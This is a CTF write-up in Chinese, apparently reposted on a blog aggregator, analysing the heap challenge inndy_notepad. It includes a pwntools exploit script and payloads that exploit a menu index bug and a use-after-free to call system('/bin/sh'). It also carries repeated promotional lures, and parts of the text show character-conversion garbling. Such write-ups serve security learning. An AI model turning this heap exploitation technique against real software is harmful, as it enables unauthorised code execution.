【网络安全】一个堆题inndy_notepad的练习笔记
對(duì)于堆的恐懼來自堆復(fù)雜的管理機(jī)制(unsorted,fastbin,small,large bin看著都頭大),相較于棧(壓入彈出)來說復(fù)雜太多了,再加上使用GDB調(diào)試學(xué)習(xí)堆時(shí),每次堆分配時(shí),調(diào)試起來相當(dāng)?shù)穆闊?#xff0c;所以一直都是理論學(xué)習(xí),堆不敢碰不敢嘗試。
嘗試了一下堆,熟悉了堆的分配機(jī)制。
題目分析
基本信息分析
查看文件類型,32位,沒有去掉符號(hào)( not stripped,很開心,省去了猜函數(shù)的“樂趣”)
file notepad notepad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
for GNU/Linux 2.6.32,
BuildID[sha1]=65aa4834fcd253be2490ea1dc24a0c582f0cbb6f, not stripped
查看保護(hù)機(jī)制,一些直觀的映像見下面注釋
# checksec notepadArch: i386-32-littleRELRO: Partial RELRO # 可寫gotStack: Canary found #如果要棧溢出,需要考慮canary的問題NX: NX enabled #不可以在棧上,bss段上布局shellcode,因?yàn)椴豢蓤?zhí)行PIE: No PIE (0x8048000) # 很開心,本程序每次加載的地址都是固定的拖入IDA,查看字符串(shift+f12),沒有system,沒有/bin/sh(難受,需要泄露libc地址)。
至此,一些最直觀、最簡單的分析完畢。我們可以得到以下信息:
本程序是32位程序,每次加載時(shí)地址固定,如果存在棧溢出,需要考慮canary check的問題,并且溢出之后不能在數(shù)據(jù)區(qū)(棧、bss段)布局shellcode,因?yàn)閿?shù)據(jù)區(qū)不可執(zhí)行,所以需要通過ROP實(shí)現(xiàn)我們的意圖。同時(shí),程序本身不存在system和/bin/sh,需要通過泄露libc的地址來獲取我們需要的libc中的函數(shù)(如system)。
功能分析&找茬
好了,下面開始找茬吧
主函數(shù)
包含循環(huán),從函數(shù)名看是一個(gè)菜單顯示加功能選擇。有四個(gè)函數(shù)
menu函數(shù)中,我們可以控制menu函數(shù)的返回值!看似可疑的兩個(gè)函數(shù)cmd和bash貌似沒毛病,往后看。
進(jìn)入notepad函數(shù):
包含6個(gè)函數(shù):
notepad_new
大致通過注釋解釋了一下分析過程,后面不再進(jìn)行詳細(xì)的分析。這里需要留意的地方是:這里的函數(shù)(notepad_show,notepad_destory)指針放在了堆上,如果我們能夠溢出覆蓋到這兩個(gè)函數(shù)指針,豈不是就可以控制EIP執(zhí)行我們想要執(zhí)行的流程了嗎?(初步感覺,實(shí)際上并不是溢出,只是分析時(shí)存在利用的可能性)可以看出通過size控制輸入的長度,但并不存在溢出的機(jī)會(huì)。接著看下面
【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】
notepad_open:
在這里使用了menu函數(shù)。還記得前面我們分析的結(jié)構(gòu),我們可以控制這個(gè)函數(shù)的輸出嗎?控制了這個(gè)值后,我們就間接控制了上圖menu函數(shù)下面的這個(gè)函數(shù)指針(*(&v3->p_func_show + v0 - 1))(v3);這個(gè)函數(shù)的參數(shù)是這個(gè)塊的首地址(不受控制)。所以這里我們可以分析得出:
notepad_delete:
這個(gè)函數(shù)中通過id釋放了相應(yīng)的note,并且清空了相應(yīng)的指針,堵住了UAF的路。
等等!!UAF,我們不是能夠控制一個(gè)函數(shù)指針嗎?參數(shù)正好是分配的堆塊地址!我們可以控制這個(gè)函數(shù)指針為free,釋放掉當(dāng)前塊,并且沒有清空指針的操作!一個(gè)野指針就這么誕生了,UAF!
至此,一個(gè)邪惡的計(jì)劃產(chǎn)生了!
一個(gè)邪惡的計(jì)劃
after free)。
【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】
終于,我們邪惡艱難的計(jì)劃有了雛形。
exploit
下面就是執(zhí)行了
首先,套路
#!/usr/bin/python #coding:utf-8 from pwn import * from LibcSearcher import *context(arch="amd64", os="linux") context.log_level = 'debug' context.terminal = ['terminator','-x','sh','-c'] # #-------------------- # 連接選項(xiàng) #-------------------- is_local = 1 local_path = './notepad' addr = 'node4.buuoj.cn' port = 25207 if is_local:io = process(local_path) else:io = remote(addr,port)#-------------------- # 調(diào)試選項(xiàng) #--------------------def debug(cmd):gdb.attach(io, cmd)# pause()#-------------------- # 常用函數(shù) #-------------------- se = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) rc = lambda num :io.recv(num) rl = lambda :io.recvline() ra = lambda :io.recvall() ru = lambda delims :io.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info = lambda tag, addr :log.info(tag + " -> " + hex(addr)) ia = lambda :io.interactive() halt = lambda :io.close()elf=ELF(local_path) libc = ELF('./libc.so') p_free_plt=elf.plt['free'] p_puts_plt=elf.plt['puts'] p_=elf.symbols['main']def notepad_new(size, data):sla(b'::>', b'a')sla(b'size >', str(size).encode('utf-8'))sla(b'data >', data)# sleep(0.1)def notepad_open(id, offset):sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')+offset))return ru(b'note closed')def notepad_edit(id, offset, content): # 與上面一個(gè)open函數(shù)的區(qū)別是這里可以編輯內(nèi)容sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'y')sla(b'content >', content)ru(b'note saved')sla(b'::>', chr(ord('a')+offset))ru(b'note closed')def notepad_delete(id):sla(b'::>', b'c')sla(b'id >', str(id).encode('utf-8'))首先分配4個(gè)塊。等等!!前面不是說兩個(gè)塊,一個(gè)A,一個(gè)B嗎?這里堆的另一個(gè)知識(shí)點(diǎn),為了提高內(nèi)存的利用率,堆在釋放時(shí),會(huì)檢查他的上一個(gè)塊,如果這個(gè)塊是TOP chunk的話,就會(huì)與其進(jìn)行合并(這樣我們的塊就丟了,再分配時(shí)會(huì)從TOP chunk上切一塊給你,不受控制),所以為了保證我們的塊不被不受控制的合并,我們在A和B的上下添加了一個(gè)塊(0和3),如下:
notepad_new(0x60, b'aaaa') #0 notepad_new(0x60, b'aaaa') #1 or A notepad_new(0x60, b'aaaa') #2 or B notepad_new(0x60, b'aaaa') #3其中,參數(shù)0x60是note內(nèi)容的大小,是為了保證堆塊在釋放時(shí)能被放入unsorted bin。
然后,我們填充A,使得其內(nèi)容包含free函數(shù)指針;控制B中的指針(利用menu沒有檢查返回值的下界的問題)【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】
notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt)) # 編輯A的內(nèi)容包含free的指針,指針放在A的最后四個(gè)字節(jié) #根據(jù)menu函數(shù)中下界沒有檢查的問題,將eip指向B(notepad_show函數(shù)的位置)前3個(gè)dword(從后往前數(shù),前兩個(gè)dword是堆塊的頭,第三個(gè)塊是前一個(gè)塊的數(shù)據(jù))的位置,也就是前一個(gè)塊的最后四個(gè)字節(jié)(free函數(shù)的地址) #此時(shí)free函數(shù)的地址是當(dāng)前塊的首地址,因此下面這個(gè)操作的目的是釋放當(dāng)前塊 notepad_open(2, -3) # free 2
如上圖所示,A塊起始位置0x9579078,,B塊起始位置0x95790f0。塊首的兩個(gè)dword(4bytes)為堆塊的頭部。我們的free函數(shù)地址填充到了0x95790ec,此時(shí)我們可控的函數(shù)指針位置在0x95790f8,中間相差3個(gè)dword(因此然后menu返回-3,就可以調(diào)用到我們放入的指針),至此我們可以控制free函數(shù),釋放0x95790f0位置的塊B(在unsortedbin中fb和bk為main_arena+48)。
此時(shí),我們再通過程序提供的函數(shù)釋放掉A
如下圖,我們發(fā)現(xiàn)出現(xiàn)了A和B的合并,那個(gè)size=0xf1的塊就是
malloc出來,填充數(shù)據(jù),內(nèi)容包含puts的函數(shù)指針,大小為0xf1的哪個(gè)就是了,我們稱為A’,現(xiàn)在A’中包含了puts的地址。【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】
為什么兩個(gè)size=0x60釋放后是size=0xf1.
首先由于在unsorted bin 中,兩個(gè)塊進(jìn)行了合并,0x60 + 0x60 = 0xC0
由于每個(gè)chunk都會(huì)包含一個(gè)頭部,本例中頭部為0x10 2,則0xC0+0x102 = 0xF0
由于該塊的前一個(gè)塊(0x9579000)處于使用狀態(tài),所以該塊的PREV_INUSE是1,所以0xF0 + 0x1 = 0xF1
同理可解釋其他塊
pre_size字段,如果上一個(gè)塊處于釋放狀態(tài),用于表示其大小,否則上一個(gè)塊處于使用狀態(tài)時(shí),pre_size為上一個(gè)塊的一部分,用于保存上一個(gè)塊的數(shù)據(jù)。可以通過觀察0x9579168地址處驗(yàn)證
最后,我們要寫入/bin/sh到B起始的位置。相同的原理,通過A‘寫入數(shù)據(jù),內(nèi)包含system地址和/bin/sh
notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 + b'/bin/sh')
現(xiàn)在,再次調(diào)用noteopen(2, -2),此時(shí),我們的函數(shù)指針-2位置為我們填入的system函數(shù),B塊的起始位置,放入了/bin/sh,完美!!
【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】
完整exp奉上
因?yàn)槲疫@里用的是自己機(jī)器中的libc,所以可能有些差異,但大體上是一樣的,libc信息如下。
# ldd notepadlinux-gate.so.1 => (0xf7f29000)libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d54000)/lib/ld-linux.so.2 (0xf7f2b000)總結(jié)
總的來說,這道題沒有用到溢出的知識(shí),但是對(duì)于堆的分配、回收(合并)等知識(shí)點(diǎn)進(jìn)行了考察,對(duì)我來說,熟悉了堆在GDB調(diào)試下的熟練度,克服了一直以來對(duì)堆的恐懼,也是一大收獲。參考文獻(xiàn)
但是在學(xué)習(xí)的過程中依然存在很多問題,很多知識(shí)點(diǎn)還是有些模糊,留給后面繼續(xù)深入吧。
關(guān)注私我,獲取**【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料】**
總結(jié)
以上是生活随笔為你收集整理的【网络安全】一个堆题inndy_notepad的练习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】如何使用keimpx检测网络
- 下一篇: 【安全技术】红队之windows信息收集